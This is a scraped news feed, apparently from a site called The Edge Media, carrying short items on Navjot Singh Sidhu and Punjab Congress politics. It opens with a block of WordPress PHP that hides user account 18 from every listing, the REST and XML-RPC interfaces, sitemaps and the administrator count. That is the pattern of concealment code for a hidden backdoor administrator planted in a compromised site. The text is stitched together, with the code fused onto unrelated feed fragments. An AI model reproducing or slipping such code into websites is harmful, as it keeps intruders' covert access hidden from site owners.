add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Navjot Singh Quits As Congress’s Punjab Party Chief appeared first on The Edge Media.
]]>As desired by the Congress President I have sent my resignation … pic.twitter.com/Xq2Ne1SyjJ
— Navjot Singh Sidhu (@sherryontopp) March 16, 2022
“In order to assist PCC reorganization, Congress President Smt. Sonia Gandhi has invited the PCC Presidents of Uttar Pradesh, Uttarakhand, Punjab, Goa, and Manipur to submit their resignations,” he stated. Mr. Sidhu drew criticism for hailing the voters of Punjab for taking a “great” decision to bring in progress by electing the Aam Aadmi Party to power” in his first media appearance after the party’s defeat.
The post Navjot Singh Quits As Congress’s Punjab Party Chief appeared first on The Edge Media.
]]>The post Lakhimpur Kheri: Navjot Singh Sidhu, the Punjab Congress president, was apprehended near the UP border appeared first on The Edge Media.
]]>
Sidhu was heading a protest march of Congress workers from Punjab to Lakhimpur Kheri to protest the violence that killed farmers on Sunday. Hundreds of supporters marched alongside Sidhu along the UP-Haryana border, shouting slogans.
The post Lakhimpur Kheri: Navjot Singh Sidhu, the Punjab Congress president, was apprehended near the UP border appeared first on The Edge Media.
]]>The post RJD’s Dig At Ally: ” Kanhaiya Kumar Like Navjot Sidhu, Will Destroy Congress “ appeared first on The Edge Media.
]]>Referring to the CPI turncoat’s statement that “Congress is a big ship that needs to be saved”, Mr. Tiwari said, “He is just like another Navjot Singh Sidhu who will further destroy the party.”
The post RJD’s Dig At Ally: ” Kanhaiya Kumar Like Navjot Sidhu, Will Destroy Congress “ appeared first on The Edge Media.
]]>The post Navjot Sidhu Quits Party Post, Punjab Minister Resigns “In Solidarity” appeared first on The Edge Media.
]]>
“I told you so… he is not a stable man and not fit for the border state of Punjab,” said Amarinder Singh, the former Chief Minister, shortly after. Punjab cabinet minister Razia Sultana also quit hours later “in solidarity with Navjot Sidhu”. The resignations came just months before the Punjab election.
In a letter to Congress President Sonia Gandhi, Mr. Sidhu stated that he intends to continue serving the party. He became the state party’s leader in July of this year.
The post Navjot Sidhu Quits Party Post, Punjab Minister Resigns “In Solidarity” appeared first on The Edge Media.
]]>The post Post-Exit Captain’s After Bitter Rift, Sidhu Declares “Sorted”; Action Against Sand Mafia Assured appeared first on The Edge Media.
]]>Meanwhile, Charanjit Singh Channi, who was sworn in as Chief Minister today, pledged action against the sand mafia, a subject that Sidhu had been harping on, implying their ties to Captain.
The post Post-Exit Captain’s After Bitter Rift, Sidhu Declares “Sorted”; Action Against Sand Mafia Assured appeared first on The Edge Media.
]]>The post Harish Rawat Issues an Apology Through a Facebook Post appeared first on The Edge Media.
]]>The term ‘Panj Pyare’ is used in Sikh tradition to refer to the Guru’s five beloveds. Guru Gobind Singh, the tenth and final Guru, initiated five men into the ‘Khalsa’ order in 1699. The name ‘Panj Pyare’ refers to a group of five baptized Sikhs who execute a baptism ritual to initiate Sikhs into the ‘Khalsa’ order.
The post Harish Rawat Issues an Apology Through a Facebook Post appeared first on The Edge Media.
]]>The post Amarinder Singh To Attend Navjot Singh Sidhu’s Installation Ceremony appeared first on The Edge Media.
]]>On Friday, the ceremony will be held. Kuljit Singh Nagra and Sangat Singh Gilzian, two of the four working politicians of the Punjab Pradesh Congress Committee (PPCC), met with Amarinder on Thursday afternoon to stretch two requests – one approved by more than 50 MLAs, and a personal letter from Sidhu to the chief minister encouraging him to the event.
After meeting with the chief minister, Nagra stated that he has consented to attend the event, which would be held at the Congress Bhawan in Chandigarh at 11 a.m. on Friday.
The post Amarinder Singh To Attend Navjot Singh Sidhu’s Installation Ceremony appeared first on The Edge Media.
]]>The post Navjot Singh Sidhu is likely to be named as the Punjab Pradesh Congress Committee Chief appeared first on The Edge Media.
]]>The party high command has been working on naming Sidhu as the PPCC chief despite Chief Minister Amarinder Singh digging in his heels earlier and stating that he was against Sidhu to be elevated to the post of PPCC chief by ignoring several rightful leaders.
The party high command has, however, consulted Sidhu on choosing his team also. He was made a part of several virtual meetings while the District Congress Committee presidents were being discussed. The party is likely to declare the entire team of PCC shortly.
Congress’ Punjab in-charge Harish Rawat had earlier told that CM Amarinder will continue in his office.
The party has been trying to quell the dissension in the party by holding several meetings and constituting a panel to listen to the grievances of the state congress leaders.
The post Navjot Singh Sidhu is likely to be named as the Punjab Pradesh Congress Committee Chief appeared first on The Edge Media.
]]>The post Navjot Singh Sidhu Says AAP Recognized His Good Work appeared first on The Edge Media.
]]>“Our main opponent, the AAP, has always respected my agenda and efforts for Punjab. Be it before 2017 when I addressed Beadbi, Drugs, Farmers Issues, Corruption, and Power Crisis Faced by People of Punjab, or now when I propose “Punjab Model. It is evident who is truly working for Punjab,” Sidhu stated in a tweet.
Together with the tweet, Sidhu included a video of AAP politician Sanjay Singh thanking the Congress leader and his wife for speaking out against concerns in the region such as the narcotics mafia and “corruption” during the former SAD-BJP administration.
The post Navjot Singh Sidhu Says AAP Recognized His Good Work appeared first on The Edge Media.
]]>The post AAP has always recognized my work, says Sidhu appeared first on The Edge Media.
]]>Our opposition AAP has always recognised my vision & work for Punjab. Be it Before 2017- Beadbi, Drugs, Farmers Issues, Corruption & Power Crisis faced by People of Punjab raised by me or today as I present “Punjab Model” It is clear they know – who is really fighting for Punjab,” he said in a tweet.
If the Opposition dares to question me, yet they can’t escape my Pro-People Agenda … This means they have resigned to their fate,” he added in another tweet.
“Today as I present the ‘Punjab Model’ It is clear they know, who is really fighting for Punjab, Congress MLA Navjot Singh Sidhu added,” he said.
Sidhu’s tweet was in response to a video clip that showed AAP leader Sanjay Singh praising Sidhu and appreciating how he and his wife always raised their voice against the drug menace in Punjab, farmer issues and the ‘corruption by the Badals’.
The post AAP has always recognized my work, says Sidhu appeared first on The Edge Media.
]]>